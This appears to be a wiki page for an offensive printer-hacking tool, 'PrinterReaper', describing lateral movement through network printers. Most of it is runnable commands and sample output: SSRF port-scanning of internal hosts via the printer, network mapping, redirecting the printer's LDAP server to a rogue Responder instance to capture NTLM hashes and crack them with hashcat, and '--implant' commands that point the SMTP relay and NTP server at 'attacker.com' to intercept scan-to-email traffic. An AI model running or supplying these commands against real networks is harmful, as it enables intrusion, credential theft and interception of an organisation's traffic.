-
Notifications
You must be signed in to change notification settings - Fork 0
Lateral Movement
Use the printer as a pivot point to reach internal network segments that are otherwise inaccessible from the attacker's position.
The --pivot flag detects SSRF vectors by sending IPP and WSD print requests pointing to internal hosts and measuring the response.
# Detect SSRF vectors and enumerate reachable internal hosts
python printer-reaper.py 192.168.1.100 --pivot
# Port-scan a specific internal host via printer SSRF
python printer-reaper.py 192.168.1.100 --pivot-scan 10.0.0.1
python printer-reaper.py 192.168.1.100 --pivot-scan 192.168.1.1
python printer-reaper.py 192.168.1.100 --pivot-scan 172.16.0.10How it works:
- PrinterReaper sends an IPP
Print-Jobrequest with the job URI pointing to an internal IP (e.g.ipp://10.0.0.1/ipp) - The printer's IPP implementation will attempt to connect to that IP
- Differences in response time and error codes reveal whether the internal host is reachable from the printer's network segment
- WSD uses the same technique via the
wsd:Printoperation
Pivot scan output:
[PIVOT] SSRF scan of 10.0.0.1 via 192.168.1.100 ...
Port 22 (ssh) : OPEN (response time: 120ms)
Port 80 (http) : OPEN (response time: 95ms)
Port 443 (https) : OPEN (response time: 98ms)
Port 445 (smb) : CLOSED (timeout: 5000ms)
Port 3389 (rdp) : FILTERED
[PIVOT] Reachable hosts on 10.0.0.0/24:
10.0.0.1 OPEN (gateway — 22, 80, 443)
10.0.0.10 OPEN (server — 22, 3306)
10.0.0.20 OPEN (workstation — 80, 445)
Build a complete map of the network from the printer's vantage point.
python printer-reaper.py 192.168.1.100 --network-mapData sources used:
- SNMP routing table (
ipRouteTableOID 1.3.6.1.2.1.4.21) - SNMP ARP cache (
ipNetToMediaTableOID 1.3.6.1.2.1.4.22) - PJL network variables (
@PJL INFO VARIABLES) - HTTP EWS network configuration page
- WSD neighbor discovery (UDP multicast 3702)
- Active subnet scan via SSRF (IPP/WSD)
Full output:
====================================================================
NETWORK MAP — from 192.168.1.100 (EPSON L3250) perspective
====================================================================
[SNMP] Routing Table:
0.0.0.0/0 via 192.168.1.1 (default gateway)
192.168.1.0/24 via eth0
[SNMP] ARP Cache:
192.168.1.1 aa:bb:cc:dd:ee:01 (gateway)
192.168.1.10 11:22:33:44:55:10 (workstation)
192.168.1.20 11:22:33:44:55:20 (server)
192.168.1.50 11:22:33:44:55:50 (printer 2)
[PJL] Network Variables:
IP=192.168.1.100 SUBNET=255.255.255.0 GATEWAY=192.168.1.1
DNS=8.8.8.8 NTP=pool.ntp.org WINS=192.168.1.1
MAC=AA:BB:CC:DD:EE:FF
[EWS] Additional config:
SMTP Server: smtp.company.internal (used for scan-to-email)
LDAP Server: ldap.company.internal (used for address book)
SMB Share : \\fileserver\scans (used for scan-to-folder)
[SUBNET SCAN] 192.168.1.0/24 via SSRF (60 threads)
192.168.1.1 open: 22, 80, 443
192.168.1.10 open: 80, 445, 3389
192.168.1.20 open: 22, 80, 3306
192.168.1.50 open: 9100, 631, 80 (PRINTER)
[WSD] Neighbor Devices: 2 found
192.168.1.50 HP LaserJet Pro M404n
192.168.1.1 ROUTER-A1-corp
[ATTACK PATHS]
192.168.1.1 via 22/ssh, 80/http (default creds possible)
192.168.1.10 via 445/smb, 3389/rdp (Pass-the-Hash via NTLM capture)
192.168.1.20 via 3306/mysql (default creds possible)
192.168.1.50 via 9100/raw, 631/ipp (second printer, full attack surface)
Many enterprise printers are configured to authenticate against Active Directory via LDAP for scan-to-email and address book lookups. PrinterReaper exploits this by redirecting the printer's LDAP server configuration to a rogue LDAP server (Responder), capturing the machine account NTLM hash.
# Step 1 — Check if printer has LDAP integration configured
python printer-reaper.py 192.168.1.100 --xpl-check research-ldap-hash-capture
# Output (if vulnerable):
# [+] VULNERABLE: LDAP server configured at ldap.company.internal
# Authentication type: Simple Bind with credentials
# Username: scanner@company.internal
# Step 2 — On your attacker machine, start Responder:
# sudo responder -I eth0 -wrf
# (listens on port 389 for LDAP, captures NTLM hashes)
# Step 3 — Redirect printer's LDAP config to attacker IP (dry-run shows payload)
python printer-reaper.py 192.168.1.100 --xpl-run research-ldap-hash-capture
# Step 4 — Live: redirect to rogue LDAP server
python printer-reaper.py 192.168.1.100 --xpl-run research-ldap-hash-capture --no-dry
# (prompts for rogue server IP)
# Step 5 — When the printer next triggers an LDAP lookup (scan job, address book):
# Responder captures: DOMAIN\scanner::COMPANY:NTLMhash...
# Step 6 — Crack with hashcat
# hashcat -m 5600 ntlm.txt rockyou.txt --forceAffected vendors: HP, Xerox, Ricoh, Canon, Konica Minolta, Sharp, Kyocera
Change printer's server configuration to persist access or redirect traffic:
# Change SMTP relay (intercept all scan-to-email traffic)
python printer-reaper.py 192.168.1.100 --implant smtp_host=attacker.com
# Change DNS server
python printer-reaper.py 192.168.1.100 --implant dns=8.8.8.8
# Change SNMP community string
python printer-reaper.py 192.168.1.100 --implant snmp_community=hacked
# Change NTP server (time-based attacks)
python printer-reaper.py 192.168.1.100 --implant ntp=attacker.comIf the printer is configured for scan-to-SMB-folder:
- Identify the SMB share path from the EWS config or SNMP (
--network-mapreveals it) - Point the scan destination to a rogue SMB server running Responder
- Trigger a scan job (physical button press or IPP job submission)
- Responder captures the NTLM hash of the service account
This technique is detailed in the BlackHat 2017 paper (Section 5.2).